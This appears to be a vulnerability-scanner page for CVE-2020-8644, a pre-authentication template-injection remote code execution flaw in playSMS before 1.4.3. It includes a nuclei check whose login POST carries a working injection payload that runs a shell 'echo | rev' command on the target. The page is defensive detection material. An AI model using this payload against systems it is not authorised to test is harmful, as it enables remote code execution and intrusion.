playSMS <1.4.3 - Remote Code Execution

Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.

criticalseverity

9.8CVSS score

86.3%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

PlaySMS before version 1.4.3 is susceptible to remote code execution because it double processes a server-side template.

Impact

Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the target system.

Fix

Upgrade playSMS to version 1.4.4 or later to mitigate this vulnerability.

How to confirm it

Send: GET /index.php?app=main&inc=core_auth&route=login ; POST /index.php?app=main&inc=core_auth&route=login&op=login
Positive when: contains "4468-0202-EVC" AND status 200

Run it with nuclei: nuclei -id CVE-2020-8644 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-8644

info:
  name: playSMS <1.4.3 - Remote Code Execution
  author: dbrwsky
  severity: critical
  description: PlaySMS before version 1.4.3 is susceptible to remote code execution because it double processes a server-side template.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the target system.
  remediation: |
    Upgrade playSMS to version 1.4.4 or later to mitigate this vulnerability.
  reference:
    - https://research.nccgroup.com/2020/02/11/technical-advisory-playsms-pre-authentication-remote-code-execution-cve-2020-8644/
    - https://playsms.org/2020/02/05/playsms-1-4-3-has-been-released/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-8644
    - http://packetstormsecurity.com/files/157106/PlaySMS-index.php-Unauthenticated-Template-Injection-Code-Execution.html
    - https://forum.playsms.org/t/playsms-1-4-3-has-been-released/2704
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-8644
    cwe-id: CWE-94
    epss-score: 0.86308
    epss-percentile: 0.99736
    cpe: cpe:2.3:a:playsms:playsms:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: playsms
    product: playsms
  tags: cve,cve2020,unauth,kev,packetstorm,ssti,playsms,rce,vkev,vuln

http:
  - raw:
      - |
        GET /index.php?app=main&inc=core_auth&route=login HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
      - |
        POST /index.php?app=main&inc=core_auth&route=login&op=login HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Content-Type: application/x-www-form-urlencoded

        X-CSRF-Token={{csrf}}&username=%7B%7B%60echo%20%27CVE-2020-8644%27%20%7C%20rev%60%7D%7D&password=

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '4468-0202-EVC'

      - type: status
        status:
          - 200

    extractors:
      - type: xpath
        name: csrf
        internal: true
        xpath:
          - /html/body/div[1]/div/div/table/tbody/tr[2]/td/table/tbody/tr/td/form/input
        attribute: value
        part: body

References

Use this check only on systems you are authorised to test. Where the data comes from